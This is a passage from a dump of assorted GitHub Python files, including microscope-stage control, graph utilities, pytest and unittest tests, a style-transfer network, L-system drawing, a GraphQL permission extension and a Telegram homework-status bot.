rs232Info.managerProperties['is_home']\n except:\n self.is_home = False \n \n \n self._board = grbldriver.GrblDriver(self._port)\n\n # init the stage\n self._board.write_global_config()\n self._board.write_all_settings()\n #self.board.verify_settings()\n self._board.reset_stage()\n if self.is_home:\n self._board.home()\n\n def query(self, arg: str) -> str:\n \"\"\" Sends the specified command to the RS232 device and returns a\n string encoded from the received bytes. \"\"\"\n return self._board._write(arg)\n\n def finalize(self):\n self.self._board.close()\n\n\n\n\n\n# Copyright (C) 2020-2021 ImSwitch developers\n# This file is part of ImSwitch.\n#\n# ImSwitch is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# ImSwitch is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n","repo_name":"ImSwitch/ImSwitch","sub_path":"imswitch/imcontrol/model/managers/rs232/GRBLManager.py","file_name":"GRBLManager.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"48"} +{"seq_id":"42032609691","text":"from collections import defaultdict\nfrom time import time\n\nfrom six import iterkeys\n\n\nclass Node(object):\n \"\"\"\n 时序网络节点\n \"\"\"\n\n def __init__(self, name, time):\n \"\"\"\n 节点名称和时间\n :param name:\n :param time:\n \"\"\"\n self.name = name\n self.time = time\n\n\nclass TemporalGraph(defaultdict):\n \"\"\"\n 时序网络\n \"\"\"\n\n def __init__(self):\n super(TemporalGraph, self).__init__(list)\n\n def convert_node_to_list(self):\n ls = set()\n for i, k in self.items():\n ls.add(i)\n for l in k:\n ls.add(l.name)\n return ls\n\n def make_undirected(self):\n\n t0 = time()\n keys = list(self.keys())\n for v in keys:\n for other in self[v]:\n if v != other:\n self[other].append(v)\n\n t1 = time()\n print(t1 - t0)\n # self.make_consistent()\n return self\n\n def make_consistent(self):\n t0 = time()\n for k in iterkeys(self):\n self[k] = list(sorted(set(self[k])))\n\n t1 = time()\n\n self.remove_self_loops()\n\n return self\n\n def remove_self_loops(self):\n\n removed = 0\n t0 = time()\n\n for x in self:\n if x in self[x]:\n self[x].remove(x)\n removed += 1\n\n t1 = time()\n\n return self\n\n def check_self_loops(self):\n for x in self:\n for y in self[x]:\n if x == y:\n return True\n\n return False\n","repo_name":"Sparkoor/learning","sub_path":"NMF/TemporalNetwork.py","file_name":"TemporalNetwork.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72424013587","text":"import pytest\n\nfrom scripts import data_processor\n\n# we call this test as Happy, because we send a healthy and good file, so we expect to pass all the tests\n\ndef test_csv_reader_header_fields(process_data_function):\n \"\"\"\n Happy Path test to make sure the processed data\n contains the right header fields\n \"\"\"\n # helper function imported from conftest.py to import file data with our csv reader\n data = process_data_function\n header_fields = list(data[0].keys())\n assert header_fields == [\n 'Country',\n 'City',\n 'State_Or_Province',\n 'Lat',\n 'Long',\n 'Altitude'\n ]\n\n\ndef test_csv_reader_data_contents(process_data_function):\n \"\"\"\n Happy Path Test to examine that each row\n has the appropriate data type per field\n \"\"\"\n data = process_data_function\n # breakpoint()\n\n # Check row types\n for row in data:\n assert(isinstance(row['Country'], str))\n assert(isinstance(row['City'], str))\n assert(isinstance(row['State_Or_Province'], str))\n assert(isinstance(row['Lat'], float))\n assert(isinstance(row['Long'], float))\n assert(isinstance(row['Altitude'], float))\n\n assert len(data) == 180\n assert data[0]['Country'] == 'Andorra'\n assert data[179]['Country'] == 'United States'\n\n # Basic data checks\n\n\n@pytest.fixture(scope=\"module\")\ndef city_list_location():\n return 'tests/resources/cities/clean_map.csv'\n\n\n@pytest.fixture(scope=\"module\")\ndef process_data_function(city_list_location):\n yield data_processor.csv_reader(city_list_location)\n\n\ndef test_myread_csv(my_data_processor_function):\n data = my_data_processor_function\n for row in data:\n assert(isinstance(row['Country'], str))\n assert(isinstance(row['City'], str))\n assert(isinstance(row['State_Or_Province'], str))\n assert(isinstance(row['Lat'], float))\n assert(isinstance(row['Long'], float))\n assert(isinstance(row['Altitude'], float))\n assert len(data) == 180\n\n\n@pytest.fixture(scope=\"module\")\ndef get_city_file_location():\n return 'tests/resources/cities/clean_map.csv'\n\n\n@pytest.fixture(scope=\"module\")\ndef my_data_processor_function(get_city_file_location):\n yield data_processor.mycsv_reader(get_city_file_location)\n","repo_name":"hadisyekta/pytest-docker","sub_path":"tests/chp2/test_happy_path_start.py","file_name":"test_happy_path_start.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"18181735311","text":"import tensorflow as tf\n\nWEIGHTS_INIT_STDEV = .1\n\ndef net(image):\n conv1 = _conv_layer(image, 32, 9, 1)\n conv2 = _conv_layer(conv1, 64, 3, 2)\n conv3 = _conv_layer(conv2, 128, 3, 2)\n resid1 = _residual_block(conv3, 3)\n resid2 = _residual_block(resid1, 3)\n resid3 = _residual_block(resid2, 3)\n resid4 = _residual_block(resid3, 3)\n resid5 = _residual_block(resid4, 3)\n conv_t1 = _conv_tranpose_layer(resid5, 64, 3, 2)\n conv_t2 = _conv_tranpose_layer(conv_t1, 32, 3, 2)\n conv_t3 = _conv_layer(conv_t2, 3, 9, 1, relu=False)\n preds = tf.nn.tanh(conv_t3) * 127.5 + 127.5\n return preds\n\ndef _conv_layer(net, num_filters, filter_size, strides, relu=True):\n initializer = tf.contrib.layers.xavier_initializer_conv2d()\n net = tf.layers.conv2d(net, filters=num_filters, kernel_size=filter_size, strides=strides, padding='SAME', kernel_initializer=initializer)\n\n net = tf.layers.batch_normalization(net, fused=True)\n if relu:\n net = tf.nn.relu(net)\n\n return net\n\ndef _conv_tranpose_layer(net, num_filters, filter_size, strides):\n initializer = tf.contrib.layers.xavier_initializer_conv2d()\n net = tf.layers.conv2d_transpose(net, filters=num_filters, kernel_size=filter_size, strides=strides, padding='SAME', kernel_initializer=initializer)\n\n net = tf.layers.batch_normalization(net, fused=True)\n return tf.nn.relu(net)\n\ndef _residual_block(net, filter_size=3):\n tmp = _conv_layer(net, 128, filter_size, 1)\n return net + _conv_layer(tmp, 128, filter_size, 1, relu=False)\n\n# def reduce_var(x, axis=None, keepdims=False):\n# \"\"\"Variance of a tensor, alongside the specified axis.\"\"\"\n# m = tf.reduce_mean(x, axis=axis, keep_dims=True)\n# devs_squared = tf.square(x - m)\n# return tf.reduce_mean(devs_squared, axis=axis, keep_dims=keepdims)\n\n# def reduce_std(x, axis=None, keepdims=False):\n# \"\"\"Standard deviation of a tensor, alongside the specified axis.\"\"\"\n# return tf.sqrt(reduce_var(x, axis=axis, keepdims=keepdims))\n\n# def _instance_norm(net, train=True):\n# batch, rows, cols, channels = [i.value for i in net.get_shape()]\n# var_shape = [channels]\n\n# mu = tf.reduce_mean(net, axis=[1,2], keep_dims=True)\n# sigma = reduce_std(net, axis=[1,2], keepdims=True)\n\n# # mu, sigma_sq = tf.nn.moments(net, [1,2], keep_dims=True)\n# shift = tf.Variable(tf.zeros(var_shape))\n# scale = tf.Variable(tf.ones(var_shape))\n# # epsilon = 1e-3\n# # normalized = (net-mu)/(sigma_sq + epsilon)**(.5)\n# normalized = (net-mu) / sigma\n# return scale * normalized + shift\n\n# def _conv_init_vars(net, out_channels, filter_size, transpose=False):\n# _, rows, cols, in_channels = [i.value for i in net.get_shape()]\n# if not transpose:\n# weights_shape = [filter_size, filter_size, in_channels, out_channels]\n# else:\n# weights_shape = [filter_size, filter_size, out_channels, in_channels]\n\n# # initializer = tf.contrib.layers.xavier_initializer_conv2d()\n# # weights_init = tf.Variable(initializer(shape=weights_shape), dtype=tf.float32)\n\n# weights_init = tf.Variable(tf.truncated_normal(weights_shape, stddev=WEIGHTS_INIT_STDEV, seed=1), dtype=tf.float32)\n# return weights_init\n","repo_name":"eridgd/fast-neural-style-ncs","sub_path":"src/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3220,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"73586105425","text":"# -*- coding: utf-8 -*-\n\nimport os\n\n# Get the root project directory\nPROJECT_DIRECTORY = os.path.realpath(os.path.curdir)\n\n# Create empty folders because they can't be committed to Git\nfolders = ['_build', '_static', 'img']\n\nfor f in folders:\n\tos.makedirs(os.path.join(PROJECT_DIRECTORY, f), exist_ok=True)\n\nprint('📖 Created your documentation. Happy writing ✒')\n","repo_name":"Theta-Dev/cookiecutter-sphinx","sub_path":"hooks/post_gen_project.py","file_name":"post_gen_project.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"9078514446","text":"import pyttsx3\n\nengine=pyttsx3.init()\nvoice=engine.getProperty(\"voices\")\nengine.setProperty('voice',voice[1].id)\n\n\nnewVoiceRate=200\nengine.setProperty('rate',newVoiceRate)\ndef speak(audio):\n engine.say(audio)\n engine.runAndWait()\n \n \nspeak(\"i said shutup\")","repo_name":"harichselvamc/simple-virtual-assistant","sub_path":"voiceoptions.py","file_name":"voiceoptions.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73813136467","text":"#!/usr/bin/env python3\n\"\"\"Unit testing file\"\"\"\nimport unittest\nfrom parameterized import parameterized\nfrom utils import access_nested_map, get_json, memoize\nfrom unittest.mock import patch, Mock\n\n\nclass TestAccessNestedMap(unittest.TestCase):\n \"\"\"\n --------------------------\n CLASS: TestAccessNestedMap\n --------------------------\n Description:\n Unit test for the access_nested_map\n method from the utils script.\n \"\"\"\n\n @parameterized.expand([\n # (input 1, input 2, expected output)\n ({\"a\": 1}, (\"a\",), 1),\n ({\"a\": {\"b\": 2}}, (\"a\",), {\"b\": 2}),\n ({\"a\": {\"b\": 2}}, (\"a\", \"b\"), 2)\n ])\n def test_access_nested_map(self, nested_map, path, expected):\n \"\"\"\n ------------------------------\n METHOD: test_access_nested_map\n ------------------------------\n Description:\n Checks whether the access_nested_map returns the\n expected output.\n \"\"\"\n self.assertEqual(access_nested_map(nested_map, path), expected)\n\n @parameterized.expand([\n ({}, (\"a\",)),\n ({\"a\": 1}, (\"a\", \"b\"))\n ])\n def test_access_nested_map_exception(self, nested_map, path):\n \"\"\"\n ----------------------------------------\n METHOD: test_access_nested_map_exception\n ----------------------------------------\n Description:\n Tests whether bad edge cases raise the\n KeyError exception\n \"\"\"\n with self.assertRaises(KeyError):\n access_nested_map(nested_map, path)\n\n\nclass TestGetJson(unittest.TestCase):\n \"\"\"\n ------------------\n CLASS: TestGetJson\n ------------------\n Description:\n Unit test for the get_json method\n from the utils script.\n \"\"\"\n\n @parameterized.expand([\n (\"http://example.com\", {\"payload\": True}),\n (\"http://holberton.io\", {\"payload\": False})\n ])\n @patch('utils.requests.get')\n def test_get_json(self, url, expected_payload, mock_get):\n \"\"\"\n ---------------------\n METHOD: test_get_json\n ---------------------\n Description:\n Tests the get_json method by checking\n whether it returns the expected output\n for their payloads.\n \"\"\"\n # Create a mock object that mimics the original dir of .get func\n mock_get.return_value = Mock(ok=True)\n mock_get.return_value.json.return_value = expected_payload\n\n # Now get a response from the actual server\n live_json = get_json(url)\n\n self.assertEqual(live_json, expected_payload)\n\n\nclass TestMemoize(unittest.TestCase):\n \"\"\"\n ------------------\n CLASS: TestMemoize\n ------------------\n \"\"\"\n\n def test_memoize(self):\n \"\"\"\n --------------------\n METHOD: test_memoize\n --------------------\n Description:\n Tests whether the memoization is actually\n working by ensuring the method isn't called\n twice.\n \"\"\"\n\n class TestClass:\n \"\"\"\n ----------------\n CLASS: TestClass\n ----------------\n \"\"\"\n\n def a_method(self):\n return 42\n\n @memoize\n def a_property(self):\n self.a_method()\n\n with patch.object(TestClass, 'a_method') as mocked_a_method:\n test = TestClass()\n test.a_property\n test.a_property\n mocked_a_method.assert_called_once()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"UsmanAJabbar/holbertonschool-web_back_end","sub_path":"0x09-Unittests_and_integration_tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":3567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10529368715","text":"\"\"\"Contains FDL-related functions. Generally you only want `run`\"\"\"\nimport colorsys\nfrom random import random\n\n# overwrites built-in :(\ndef apply(ruleName, ruleDef, state):\n \"\"\"Replaces every occurence of a rule in a state with the rules definition\"\"\"\n return list(map(\n lambda key: ruleDef if key == ruleName else key,\n state\n ))\n\ndef flatten(nested_list):\n \"\"\"Flattens a list\"\"\"\n flattened = []\n for val in nested_list:\n if isinstance(val, (list, tuple)):\n flattened.extend(flatten(val))\n else:\n flattened.append(val)\n return flattened\n\ndef step(rules, state):\n \"\"\"Takes a state and a dict of rules, applies rules to all states\"\"\"\n for ruleName, ruleDef in rules.items():\n state = apply(ruleName, ruleDef, state)\n\n return flatten(state)\n\ndef compute(depth, rules, state):\n \"\"\"Repeatedly inserts rules into a state\"\"\"\n for _ in range(0, depth):\n state = step(rules, state)\n return state\n\ndef execute(trtl, length, cmd, args):\n \"\"\"Executes a command on a turtle\"\"\"\n if cmd == \"scale\":\n return length * float(args[0])\n elif cmd == \"nop\":\n return None\n else:\n method = getattr(trtl, cmd)\n if cmd in (\"fd\", \"bk\", \"forward\", \"backward\"):\n args = [float(length)]\n method(*args)\n\ndef parse(fdl_file):\n \"\"\"Parses an FDL file into a dictionary of format:\n {\n start: [\"F\"],\n length: 1,\n depth: 1,\n width: 1.0,\n color: [\"rainbow\"],\n rules: {\n \"F\": [\"A\", \"B\", \"C\"],\n \"G\": [\"X, \"Y\", \"Z\"]\n },\n cmds: {\n \"A\": (\"method_name\", [\"arg1\", \"arg2\"])\n }\n }\n \"\"\"\n file = open(fdl_file)\n data = {\n \"3d\": False,\n \"length\": 1,\n \"depth\": 1,\n \"width\": 1.0,\n \"cmds\": {},\n \"rules\": {},\n \"color\": [\"rainbow\"]\n }\n for line in file:\n split = line.strip().split(\" \")\n cmd = split[0].lower()\n args = split[1:]\n if cmd in (\"start\", \"color\"): # list params\n data[cmd] = args\n elif cmd in (\"depth\", \"length\"): # int params\n data[cmd] = int(float(args[0]))\n elif cmd == \"width\": # float params\n data[cmd] = float(args[0])\n elif cmd == \"3d\": # boolean params\n data[cmd] = True\n elif cmd == \"cmd\":\n data[\"cmds\"][args[0]] = (args[1], list(map(\n convert_str,\n args[2:]\n )))\n elif cmd == \"rule\" and args[1] == \"->\":\n # update our rule dict\n data[\"rules\"][args[0]] = args[2:]\n return data\n\ndef convert_str(string):\n \"\"\"Converts a string to whatever format matches first\n Currently only supports floats/integers\"\"\"\n try:\n if \".\" in string:\n return float(string)\n return int(string)\n except (ValueError, TypeError):\n pass\n return string\n\ndef run(trtl, fdl):\n data = parse(fdl)\n length = data[\"length\"]\n # code to determine color and color loop length\n col = data[\"color\"]\n colLen = 200\n if col:\n if len(col) >= 2:\n colLen = int(col[1])\n col = col[0]\n if col and col not in (\"rainbow\", \"travelled\"):\n if col == \"random\":\n col = (random(), random(), random())\n trtl.pencolor(col)\n trtl.pensize(data[\"width\"])\n\n # expand the start into a list of commands\n commands = compute(\n depth=data[\"depth\"],\n rules=data[\"rules\"],\n state=data[\"start\"],\n )\n\n # start drawing\n dist = 0 # keep track of distance travelled in case color is \"travelled\"\n for cmdName in commands:\n cmd = data[\"cmds\"][cmdName]\n if cmd[0] == \"fd\":\n dist += length\n elif cmd[0] == \"bk\":\n dist -= length\n\n # update colors if needed\n if col == \"rainbow\":\n # if \"rainbow\", pick hue based on distance from home\n trtl.pencolor(colorsys.hsv_to_rgb(trtl.distance(0, 0) % colLen / colLen, 1, 0.8))\n elif col == \"travelled\":\n # if \"travelled\", pick hue based on distance travelled\n trtl.pencolor(colorsys.hsv_to_rgb(dist % colLen / colLen, 1, 0.8))\n \n # actually execute the command\n result = execute(\n trtl=trtl,\n length=length,\n cmd=cmd[0],\n args=cmd[1]\n )\n # handle the special command \"scale\"\n if cmd[0] == \"scale\":\n length = result\n","repo_name":"henrikschwarz/DM550_H9","sub_path":"fdl.py","file_name":"fdl.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5091318510","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n\npath('', views.page),\n path('product/',views.fetch_product,name='product'),\n path('update_post/',views.update_product,name='update_product'),\n path('product_update/',views.product_update,name='product_update'),\n path('update_product1/',views.update1,name='update_product1'),\n path('back_product/',views.back_product,name='back_product')\n]","repo_name":"jash25/Internship_task","sub_path":"task/Products/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4137662320","text":"import sklearn\r\nimport nltk \r\nfrom nltk import word_tokenize\r\nfrom nltk.stem.porter import *\r\nimport pandas as pd\r\n\r\npd.set_option('display.expand_frame_repr', False)\r\npd.set_option('display.max_columns', 25)\r\nstemmer = PorterStemmer()\r\n\r\ndef main():\r\n print(\"Reading and processing training texts\")\r\n\r\n all_subreddit_df = pd.read_csv(\"all_subreddits.csv\")\r\n train_df = all_subreddit_df[all_subreddit_df.subreddit.isin([\"askreddit\", \"askscience\"])]\r\n # df[\"random_rank\"] = df.groupby(\"subreddit\", as_index=False)[\"random_number\"].rank()\r\n #df[\"training_data\"] = df[\"random_rank\"] % 10 == 0\r\n # train_df = df[df.training_data == True]\r\n #test_df = df[df.training_data == False]\r\n #train_df=pd.read_csv('aww_politics_comments_late_2012_train.csv', nrows=5000)\r\n train_df=train_df[pd.notnull(train_df['body'])]\r\n print('Training data has {} rows, {} columns'.format(train_df.shape[0],train_df.shape[1]))\r\n print('Training data:')\r\n print(train_df)\r\n\r\n print('Body column:')\r\n print(train_df['body'])\r\n # print(train_df['body'])\r\n\r\n print(\"First Row\")\r\n print(train_df.iloc[0])\r\n\r\n #nltk.download('punkt')\r\n\r\n train_df['target'] = (train_df['subreddit']=='aww').astype(int)\r\n print(\"Target column:\")\r\n print(train_df[['subreddit','target']])\r\n\r\n train_df['processed_text'] = train_df['body'].apply(process_text)\r\n print(\"Procesed text:\")\r\n print(train_df[['body','processed_text']])\r\n\r\n\r\n\r\ndef process_text(text):\r\n return text.lower()\r\n\r\nstemer = PorterStemmer()\r\ndef process_single_comment(comment):\r\n comment = comment.decode('utf8')\r\n tokens = word_tokenize(comment)\r\n tokens = [token.lower(token) for token in tokens]\r\n processed_comment = \" \".join(tokens)\r\n return processed_comment\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"hamzabacc/subredditClassifier","sub_path":"Test.py","file_name":"Test.py","file_ext":"py","file_size_in_byte":1813,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"33934071486","text":"N = int(input())\nnum = list(map(int,input().split()))\n\ns = 0\nfor i in num:\n \n cnt = 0\n for j in range(1,i+1):\n # 1 ~ 자기자신까지 나머지 0인 수를 찾는다\n if i % j == 0:\n cnt += 1\n # 나머지 0인 경우가 2번이면 카운트 증가\n if cnt == 2:\n s += 1\n\nprint(s)","repo_name":"fubabaz/algorithm","sub_path":"src/joyowlsf/baekjoon/_1978.py","file_name":"_1978.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"21030695624","text":"\"\"\"Various model utilities\"\"\"\n\nfrom pathlib import Path\nfrom typing import Any, Dict, List, Type, TypeVar, Union\n\nimport torch\n\nTOKEN_CHARACTER_PADDING = \"\"\nTOKEN_WORD_PADDING = \"\"\n\n\nembeddings_dict = None\n\n_T = TypeVar(\"_T\")\n\n\nclass SaveMixin:\n \"\"\"A mixin that enables saving and loading of models\"\"\"\n\n def save(self: _T, loc: Union[str, Path] = \".models\", name: str = \"model.pt\") -> None:\n location = Path(loc)\n location.mkdir(parents=True, exist_ok=True)\n torch.save(self, location / name)\n\n @classmethod\n def load(cls: Type[_T], loc: Union[str, Path] = \".model\", name: str = \"model.pt\") -> _T:\n location = Path(loc)\n return torch.load(location / name)\n\n\ndef list_indexer(my_list: List[Any]) -> Dict[Any, int]:\n \"\"\"\n Function that creates a dictionary index from a list.\n\n :param my_list: List to create the index dictionary for.\n :return: Dictionary with list items as keys and index in list as values.\n \"\"\"\n return dict(zip(my_list, range(len(my_list))))\n","repo_name":"Misterion777/gnn-web-embeddings","sub_path":"demo/tlc/models/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"41062853852","text":"import typing\nfrom typing import TypeAlias, Union\n\nfrom strawberry.types import Info\nfrom django.utils.translation import gettext_lazy as _\nfrom strawberry_django.permissions import DjangoNoPermission, _desc\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from django.db import models\n from django.contrib.auth.models import AbstractBaseUser, AnonymousUser\n\n\nfrom .base_extension import BasePermissionExtension\nfrom ..utils import has_permission_to_create_object\n\nUserType: TypeAlias = Union[\"AbstractBaseUser\", \"AnonymousUser\"]\n\n\nclass HasPermissionToCreate(BasePermissionExtension):\n \"\"\"\n Extension class that checks if the user has permission to create an object.\n\n Example Usage:\n class MyModel(models.Model):\n CREATE_ALLOWED_ROLES = [IsUser]\n\n # ...\n\n In this example, the MyModel class defines a list of CREATE_ALLOWED_ROLES, which consists\n of subclasses of Role (such as IsUser) that implement the has_permission method.\n\n Attributes:\n DEFAULT_ERROR_MESSAGE (str): Default error message displayed when the user doesn't have permission.\n SCHEMA_DIRECTIVE_DESCRIPTION (str): Description of the schema directive.\n\n Methods:\n __init__(self, model: \"models.Model\", **kwargs: typing.Any):\n Initializes the HasPermissionToCreate extension with the specified model.\n\n resolve_for_user(\n self,\n resolver: typing.Callable,\n user: UserType,\n *,\n info: Info,\n source: typing.Any,\n **kwargs: typing.Any\n ):\n Resolves the permission check for the user by invoking has_permission_to_create_object.\n\n \"\"\"\n\n DEFAULT_ERROR_MESSAGE: typing.ClassVar[str] = _(\n \"You are not authorized to create this object\"\n )\n SCHEMA_DIRECTIVE_DESCRIPTION: typing.ClassVar[str] = _desc(\n _(\"Can only create objects that the user has permission to create\")\n )\n\n def __init__(self, model: \"models.Model\", **kwargs: typing.Any):\n \"\"\"\n Initializes the HasPermissionToCreate extension with the specified model.\n\n Args:\n model (models.Model): The model for which the permission is being checked.\n **kwargs (typing.Any): Additional keyword arguments.\n\n \"\"\"\n super().__init__(**kwargs)\n self.model = model\n\n def resolve_for_user(\n self,\n resolver: typing.Callable,\n user: UserType,\n *,\n info: Info,\n source: typing.Any,\n **kwargs: typing.Any\n ):\n \"\"\"\n Resolves the permission check for the user by invoking has_permission_to_create_object.\n\n Args:\n resolver (typing.Callable): Resolver function for the field.\n user (UserType): The user for whom the permission is being checked.\n info (Info): Additional information related to the permission check.\n source (typing.Any): The source object from which the field is being resolved.\n **kwargs (typing.Any): Additional keyword arguments.\n\n Returns:\n typing.Any: The result of the resolver function.\n\n Raises:\n DjangoNoPermission: If the user doesn't have permission to create the object.\n\n \"\"\"\n if has_permission_to_create_object(self.model, info):\n return resolver()\n else:\n raise DjangoNoPermission(self.message)\n","repo_name":"Alteian/strawberry-graphql-permission-extension","sub_path":"strawberry_graphql_permission_extension/extensions/has_permission_to_create.py","file_name":"has_permission_to_create.py","file_ext":"py","file_size_in_byte":3435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38910062924","text":"import pandas as pd\nfrom datetime import datetime\nimport numpy as np\n\ndf = pd.read_csv('../data/dataset/raw_data.csv')\n\n# Rename dataframe columns\ndf.rename(columns={\n \"snippet.publishedAt\": \"date\",\n \"snippet.title\" : \"title\",\n \"snippet.description\" : \"description\",\n \"contentDetails.duration\" : \"duration\",\n \"statistics.viewCount\" : \"views\",\n \"statistics.likeCount\" : \"likes\",\n \"statistics.commentCount\" : \"comments\"\n}, inplace=True)\n\n# Get likes per view\ndf['likes_per_view'] = (df['likes'] / df['views'])\n\n# Get weeks since upload\ncurrent_date = datetime.now()\ndf['date'] = pd.to_datetime(df['date'], format='%Y-%m-%dT%H:%M:%SZ')\ndf['elapsed_time'] = current_date - df['date']\ndf['elapsed_weeks'] = (current_date - df['date']) / np.timedelta64(1, 'W') # Note weeks are a floating point value. More accurate.\n\n# Get views per week\ndf['views_per_week'] = df['views'] / df['elapsed_weeks']\n\ndf.to_csv(\"../data/dataset/data.csv\", header=True, index=False)","repo_name":"LeeJavaa/final_year_project","sub_path":"scraper/data_processing.py","file_name":"data_processing.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"18406065170","text":"#!/usr/bin/env python\t\nimport sys,re\n\t\ndef sv_cigar_sort(breakpoint):\n\tout=open(breakpoint+'.sort','w')\t\n\ttotal=[]\n\twith open(breakpoint) as f:\n\t\twhile True:\n\t\t\tl=f.readline().rstrip()\n\t\t\tif not l: break\n\t\t\tline=l.split('\\t')\n\t\t\tif line[-1][0:2]=='hp':\n\t\t\t\thp=line[-1]\n\t\t\telse:\n\t\t\t\thp='hp0'\n\t\t\tm=re.search(r'^\\d|X|Y|M',line[0])\n\t\t\tif not m:\n\t\t\t\tcontinue\n\t\t\tevent_m=re.search(r'^(\\d+)(\\D)$',line[3])\n\t\t\tif not event_m:\n\t\t\t\tcontinue\n\t\t\tif event_m.group(2)==\"I\":\n\t\t\t\ttotal.append([line[0],line[1],line[2],\"INS\",event_m.group(1),hp])\n\t\t\telif event_m.group(2)==\"D\":\n\t\t\t\ttotal.append([line[0],line[1],line[2],\"DEL\",event_m.group(1),hp])\n\ttotal_sort=sorted(total,key=lambda x: (x[5],x[3],x[0], int(x[1]),int(x[4])))\n\tpre=[]\n\tfor x in range(len(total_sort)):\n\t\tif x==0:\n\t\t\tpre=total_sort[x]+['1']\n\t\t\tcontinue\n\t\tif total_sort[x][5]==pre[5] and total_sort[x][0]==pre[0] and int(total_sort[x][1])-int(pre[1])<=50 and total_sort[x][3]==pre[3] and int(total_sort[x][4])/int(pre[4])>=0.8 and int(total_sort[x][4])/int(pre[4])<=1.2:\n\t\t\tpre[6]=str(int(pre[6])+1)\n\t\telse:\n\t\t\tif int(pre[6])>=3:\n\t\t\t\tout.write((\"\\t\".join(str(n) for n in pre))+\"\\n\")\n\t\t\tpre=total_sort[x]+['1']\n\tif int(pre[6])>=3:\n\t\tout.write((\"\\t\".join(str(n) for n in pre))+\"\\n\")\n\nif __name__==\"__main__\":\n\tsv_cigar_sort(sys.argv[1])\n\n","repo_name":"penguab/CCSkit","sub_path":"CCSkit_scripts/sv_cigar_sort.py","file_name":"sv_cigar_sort.py","file_ext":"py","file_size_in_byte":1284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31745662257","text":"import os\nimport logging\nimport sys\nimport time\nfrom http import HTTPStatus\n\nimport requests\nimport telegram\nfrom dotenv import load_dotenv\n\nfrom exceptions import EndPointNotAvailableException, APIStatusCodeException\n\nload_dotenv()\n\n\nPRACTICUM_TOKEN = os.getenv('PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('TELEGRAM_CHAT_ID')\n\nRETRY_PERIOD = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\n\nHOMEWORK_VERDICTS = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\n\ndef check_tokens():\n \"\"\"Проверка обязательных переменных окружения.\"\"\"\n return all([PRACTICUM_TOKEN, TELEGRAM_TOKEN, TELEGRAM_CHAT_ID])\n\n\ndef send_message(bot, message):\n \"\"\"Отправка сообщения в Telegram.\"\"\"\n logging.debug('Начало отправки сообщения в Telegram')\n try:\n bot.send_message(\n chat_id=TELEGRAM_CHAT_ID,\n text=message,\n )\n logging.debug(f'Бот отправил сообщение: \"{message}\"')\n except telegram.error.TelegramError as error:\n logging.error(f'Боту не удалось отправить сообщение: \"{error}\"')\n\n\ndef get_api_answer(timestamp):\n \"\"\"Получение ответа API.\"\"\"\n logging.debug('Начало получения ответа API')\n try:\n response = requests.get(ENDPOINT, headers=HEADERS,\n params={'from_date': timestamp})\n except requests.RequestException as error:\n error_msg = f'Эндпоинт {ENDPOINT} недоступен: \"{error}\"'\n logging.error(error_msg)\n raise EndPointNotAvailableException(error_msg)\n if response.status_code != HTTPStatus.OK:\n error_msg = f'Эндпоинт {ENDPOINT} вернул статус {response.status_code}'\n logging.error(error_msg)\n raise APIStatusCodeException(error_msg)\n return response.json()\n\n\ndef check_response(response):\n \"\"\"Проверка ответа API.\"\"\"\n logging.debug('Начало проверки ответа API')\n if not isinstance(response, dict):\n error_msg = 'Ответ API имеет неверный тип'\n logging.error(error_msg)\n raise TypeError(error_msg)\n for key in ('homeworks', \"current_date\"):\n if key not in response:\n error_msg = f'В 